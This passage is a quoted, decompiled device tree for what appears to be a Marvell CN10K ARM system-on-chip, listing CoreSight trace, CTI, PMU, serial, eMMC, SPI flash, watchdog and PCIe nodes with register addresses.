> remote-endpoint = <0x6d>;
> phandle = <0x6f>;
> };
> };
> };
> };
>
> ete11 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xd>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x89>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x85>;
> phandle = <0x87>;
> };
> };
> };
> };
>
> ap_cti12@87a098010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xe>;
> arm,cs-dev-assoc = <0x8f>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x98010000 0x0 0x1000>;
> };
>
> pmpcsr13@87a09b020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xf>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x9b020000 0x0 0x1000>;
> };
>
> etf9@87a004910000 {
> clock-names = "apb_pclk";
> memory-region = <0x7a>;
> clocks = <0x36>;
> cpu = <0xb>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4910000 0x0 0x1000>;
> phandle = <0x7e>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x7b>;
> phandle = <0x79>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x7c>;
> phandle = <0xdd>;
> };
> };
> };
> };
>
> pmpcsr9@87a093020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xb>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x93020000 0x0 0x1000>;
> };
>
> ap_cti1@87a082010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x3>;
> arm,cs-dev-assoc = <0x4d>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x82010000 0x0 0x1000>;
> };
>
> etf_cti4@87a004420000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4420000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x60>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> smmupmcg2@830000140000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x140000 0x0 0x1000 0x8300 0x150000 0x0 0x1000>;
> msi-parent = <0x37 0x1b>;
> };
>
> serial@87e02a000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x2 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2a000000 0x0 0x1000>;
> phandle = <0x134>;
> };
>
> ete5 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x7>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x65>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x61>;
> phandle = <0x63>;
> };
> };
> };
> };
>
> etf11@87a004b10000 {
> clock-names = "apb_pclk";
> memory-region = <0x86>;
> clocks = <0x36>;
> cpu = <0xd>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4b10000 0x0 0x1000>;
> phandle = <0x8a>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x87>;
> phandle = <0x85>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x88>;
> phandle = <0xdf>;
> };
> };
> };
> };
>
> ap_cti6@87a08c010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x8>;
> arm,cs-dev-assoc = <0x6b>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x8c010000 0x0 0x1000>;
> };
>
> pmpcsr16@87a0a1020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x12>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa1020000 0x0 0x1000>;
> };
>
> ddrcpmu5 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc5000000 0x0 0x10000>;
> };
>
> etf_cti10@87a004a20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4a20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x84>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pmpcsr4@87a089020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x6>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x89020000 0x0 0x1000>;
> };
>
> serial@87e029000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x1 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x29000000 0x0 0x1000>;
> phandle = <0x133>;
> };
>
> etf3@87a004310000 {
> clock-names = "apb_pclk";
> memory-region = <0x56>;
> clocks = <0x36>;
> cpu = <0x5>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4310000 0x0 0x1000>;
> phandle = <0x5a>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x57>;
> phandle = <0x55>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x58>;
> phandle = <0xd7>;
> };
> };
> };
> };
>
> pcie-ep@0 {
> interrupts = <0x0 0x5b 0x1 0x0 0x1f8 0x1 0x0 0x1f9 0x1 0x0 0x1fa 0x1 0x0 0x1fb 0x1 0x0 0x1fc 0x1 0x0 0x1fd 0x1 0x0 0x1fe 0x1 0x0 0x1ff 0x1>;
> compatible = "marvell,cn10k-pem-ep";
> reg = <0x8e00 0x0 0x10 0x0>;
> };
>
> etf20@87a005410000 {
> clock-names = "apb_pclk";
> memory-region = <0xbc>;
> clocks = <0x36>;
> cpu = <0x16>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5410000 0x0 0x1000>;
> phandle = <0xc0>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xbd>;
> phandle = <0xbb>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xbe>;
> phandle = <0xe8>;
> };
> };
> };
> };
>
> pmpcsr23@87a0af020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x19>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xaf020000 0x0 0x1000>;
> };
>
> ete18 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x14>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xb3>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xaf>;
> phandle = <0xb1>;
> };
> };
> };
> };
>
> ap_cti11@87a096010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xd>;
> arm,cs-dev-assoc = <0x89>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x96010000 0x0 0x1000>;
> };
>
> dpi_sdp_regs@86e000000000 {
> iommus = <0x39 0x39>;
> compatible = "marvell,dpi-sdp-regs";
> reg = <0x86e0 0x0 0x2 0x100f0000>;
> };
>
> ete3 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x5>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x59>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x55>;
> phandle = <0x57>;
> };
> };
> };
> };
>
> serial@87e02e000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x6 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2e000000 0x0 0x1000>;
> phandle = <0x138>;
> };
>
> pmpcsr8@87a091020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xa>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x91020000 0x0 0x1000>;
> };
>
> ddrcpmu3 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc3000000 0x0 0x10000>;
> };
>
> ap_cti0@87a080010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x2>;
> arm,cs-dev-assoc = <0x47>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x80010000 0x0 0x1000>;
> };
>
> ap_cti5@87a08a010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x7>;
> arm,cs-dev-assoc = <0x65>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x8a010000 0x0 0x1000>;
> };
>
> sdhci@824000000000 {
> iommus = <0x39 0x58>;
> cdns,iocell_output_delay = <0x708>;
> mmc-hs400-enhanced-strobe;
> #address-cells = <0x2>;
> dma-coherent;
> clock-names = "sdmclk";
> vqmmc-supply = <0x3b>;
> mmc-hs200-1_8v;
> bus-width = <0x8>;
> non-removable;
> no-sdio;
> mmc-hs400-1_8v;
> interrupts = <0x0 0x41 0x1>;
> clocks = <0x38>;
> #size-cells = <0x2>;
> vmmc-supply = <0x3a>;
> cdns,mode = "emmc_sdr";
> cdns,iocell_input_delay = <0x28a>;
> no-sd;
> compatible = "cdns,sd6hc";
> sdhci-caps-mask = <0xff0000 0x0>;
> sdhci-caps = <0x80000077 0x1f6ec8a0>;
> reg = <0x8240 0x0 0x0 0xa000000>;
> phandle = <0xfb>;
> max-frequency = <0xbebc200>;
> cap-mmc-highspeed;
> };
>
> etf16@87a005010000 {
> clock-names = "apb_pclk";
> memory-region = <0xa4>;
> clocks = <0x36>;
> cpu = <0x12>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5010000 0x0 0x1000>;
> phandle = <0xa8>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xa5>;
> phandle = <0xa3>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa6>;
> phandle = <0xe4>;
> };
> };
> };
> };
>
> etf_cti5@87a004520000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4520000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x66>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti19@87a0a6010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x15>;
> arm,cs-dev-assoc = <0xb9>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa6010000 0x0 0x1000>;
> };
>
> smmupmcg1@830000120000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x120000 0x0 0x1000 0x8300 0x130000 0x0 0x1000>;
> msi-parent = <0x37 0x1a>;
> };
>
> pmpcsr3@87a087020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x5>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x87020000 0x0 0x1000>;
> };
>
> etf12@87a004c10000 {
> clock-names = "apb_pclk";
> memory-region = <0x8c>;
> clocks = <0x36>;
> cpu = <0xe>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4c10000 0x0 0x1000>;
> phandle = <0x90>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x8d>;
> phandle = <0x8b>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x8e>;
> phandle = <0xe0>;
> };
> };
> };
> };
>
> ete16 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x12>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xa7>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa3>;
> phandle = <0xa5>;
> };
> };
> };
> };
>
> etf_cti11@87a004b20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4b20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x8a>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> etf4@87a004410000 {
> clock-names = "apb_pclk";
> memory-region = <0x5c>;
> clocks = <0x36>;
> cpu = <0x6>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4410000 0x0 0x1000>;
> phandle = <0x60>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x5d>;
> phandle = <0x5b>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x5e>;
> phandle = <0xd8>;
> };
> };
> };
> };
>
> ete1 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x3>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x4d>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x49>;
> phandle = <0x4b>;
> };
> };
> };
> };
>
> pmpcsr22@87a0ad020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x18>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xad020000 0x0 0x1000>;
> };
>
> ddrcpmu1 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc1000000 0x0 0x10000>;
> };
>
> ap_cti10@87a094010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xc>;
> arm,cs-dev-assoc = <0x83>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x94010000 0x0 0x1000>;
> };
>
> etf21@87a005510000 {
> clock-names = "apb_pclk";
> memory-region = <0xc2>;
> clocks = <0x36>;
> cpu = <0x17>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5510000 0x0 0x1000>;
> phandle = <0xc6>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xc3>;
> phandle = <0xc1>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xc4>;
> phandle = <0xe9>;
> };
> };
> };
> };
>
> ap_cti15@87a09e010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x11>;
> arm,cs-dev-assoc = <0xa1>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x9e010000 0x0 0x1000>;
> };
>
> pci-bootcmd@0x027ff000 {
> skip-init;
> compatible = "marvell,pci-bootcmd";
> reg = <0x0 0x27ff000 0x0 0x1000>;
> phandle = <0xfa>;
> };
>
> watchdog@802000040000 {
> clock-names = "ref_clk";
> interrupts = <0x0 0x80 0x1>;
> clocks = <0x36>;
> compatible = "marvell,cn10624-wdt";
> reg = <0x8020 0x40000 0x0 0x20000>;
> marvell,wdt-timer-index = <0x3f>;
> };
>
> etf_cti20@87a005420000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5420000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xc0>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> spi@804000000000 {
> iommus = <0x39 0x30>;
> #address-cells = <0x2>;
> dma-coherent;
> reg-names = "io", "sdma", "aux", "xfer";
> interrupts = <0x0 0x5a 0x1>;
> #size-cells = <0x2>;
> compatible = "cdns,xspi-nor";
> reg = <0x8040 0x0 0x0 0x1040 0x8040 0x10000000 0x0 0x1000 0x8040 0x2000 0x0 0x2300 0x8040 0x8000 0x0 0x240>;
> phandle = <0xfc>;
> cdns,read-size = <0x1>;
>
> flash@0 {
> #address-cells = <0x1>;
> spi-tx-bus-width = <0x4>;
> #size-cells = <0x1>;
> spi-max-frequency = <0x17d7840>;
> spi-rx-bus-width = <0x4>;
> compatible = "jedec,spi-nor", "spi-flash";
> reg = <0x0>;
> phandle = <0xfd>;
> };
> };
>
> sdmclk {
> clock-output-names = "sdmclk";
> #clock-cells = <0x0>;
> clock-frequency = <0xbebc200>;
> compatible = "fixed-clock";
> phandle = <0x38>;
> };
>
> serial@87e02b000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x3 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2b000000 0x0 0x1000>;
> phandle = <0x135>;
> };
>
> ete14 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x10>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x9b>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x97>;
> phandle = <0x99>;
> };
> };
> };
> };
>
> ap_cti18@87a0a4010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x14>;
> arm,cs-dev-assoc = <0xb3>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa4010000 0x0 0x1000>;
> };
>
> pmpcsr2@87a085020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x4>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x85020000 0x0 0x1000>;
> };
>
> etf17@87a005110000 {
> clock-names = "apb_pclk";
> memory-region = <0xaa>;
> clocks = <0x36>;
> cpu = <0x13>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5110000 0x0 0x1000>;
> phandle = <0xae>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xab>;
> phandle = <0xa9>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xac>;
> phandle = <0xe5>;
> };
> };
> };
> };
>
> etf_cti6@87a004620000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4620000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x6c>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> pem0-bar4-mem@00000009f7c00000 {
> iommus = <0x39 0x41>;
> memory-region = <0x40>;
> compatible = "marvell,cn10k-pem0-bar4-mem";
> reg = <0x9 0xf7c00000 0x0 0x4000000>;
> };
>
> pmpcsr7@87a08f020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x9>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x8f020000 0x0 0x1000>;
> };
>
> etf13@87a004d10000 {
> clock-names = "apb_pclk";
> memory-region = <0x92>;
> clocks = <0x36>;
> cpu = <0xf>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4d10000 0x0 0x1000>;
> phandle = <0x96>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x93>;
> phandle = <0x91>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x94>;
> phandle = <0xe1>;
> };
> };
> };
> };
>
> etf_cti16@87a005020000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5020000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xa8>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti20@87a0a8010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x16>;
> arm,cs-dev-assoc = <0xbf>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa8010000 0x0 0x1000>;
> };
>
> sh_etr@87a100060000 {
> iommus = <0x39 0x50>;
> clock-names = "apb_pclk";
> memory-region = <0xee>;
> clocks = <0x36>;
> arm,max-burst-size = <0x7>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a1 0x60000 0x0 0x1000>;
> phandle = <0xf0>;
>
> in-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xef>;
> phandle = <0xed>;
> };
> };
> };
> };
>
> smmupmcg0@830000100000 {
> compatible = "cavium,smmu-pmu-v3", "arm,smmu-pmu-v3", "arm,smmu-v3-pmcg";
> reg = <0x8300 0x100000 0x0 0x1000 0x8300 0x110000 0x0 0x1000>;
> msi-parent = <0x37 0x19>;
> };
>
> etf_cti12@87a004c20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4c20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x90>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete22 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x18>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xcb>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xc7>;
> phandle = <0xc9>;
> };
> };
> };
> };
>
> pmpcsr21@87a0ab020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x17>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xab020000 0x0 0x1000>;
> };
>
> etf5@87a004510000 {
> clock-names = "apb_pclk";
> memory-region = <0x62>;
> clocks = <0x36>;
> cpu = <0x7>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4510000 0x0 0x1000>;
> phandle = <0x66>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x63>;
> phandle = <0x61>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x64>;
> phandle = <0xd9>;
> };
> };
> };
> };
>
> ete8 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xa>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x77>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x73>;
> phandle = <0x75>;
> };
> };
> };
> };
>
> etf_cti0@87a004020000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4020000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x48>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti14@87a09c010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x10>;
> arm,cs-dev-assoc = <0x9b>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x9c010000 0x0 0x1000>;
> };
>
> ete12 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xe>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x8f>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x8b>;
> phandle = <0x8d>;
> };
> };
> };
> };
>
> serial@87e02f000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x7 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2f000000 0x0 0x1000>;
> phandle = <0x139>;
> };
>
> etf22@87a005610000 {
> clock-names = "apb_pclk";
> memory-region = <0xc8>;
> clocks = <0x36>;
> cpu = <0x18>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5610000 0x0 0x1000>;
> phandle = <0xcc>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xc9>;
> phandle = <0xc7>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xca>;
> phandle = <0xea>;
> };
> };
> };
> };
>
> etf_cti21@87a005520000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5520000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xc6>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti17@87a0a2010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x13>;
> arm,cs-dev-assoc = <0xad>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa2010000 0x0 0x1000>;
> };
>
> pmpcsr12@87a099020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xe>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x99020000 0x0 0x1000>;
> };
>
> sram@36,0 {
> #address-cells = <0x2>;
> #size-cells = <0x1>;
> compatible = "cpc-shmem";
> ranges = <0x0 0x0 0x86d0 0xfc200 0x200>;
> reg = <0x86d0 0xfc200 0x0 0x200>;
>
> scp-shmem@0 {
> compatible = "cpc-shmem";
> reg = <0x0 0x0 0x200>;
> phandle = <0x3f>;
> };
> };
>
> pmpcsr1@87a083020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x3>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x83020000 0x0 0x1000>;
> };
>
> ete20 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x16>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xbf>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xbb>;
> phandle = <0xbd>;
> };
> };
> };
> };
>
> pci@878000000000 {
> #address-cells = <0x3>;
> dma-coherent;
> bus-range = <0x0 0xff>;
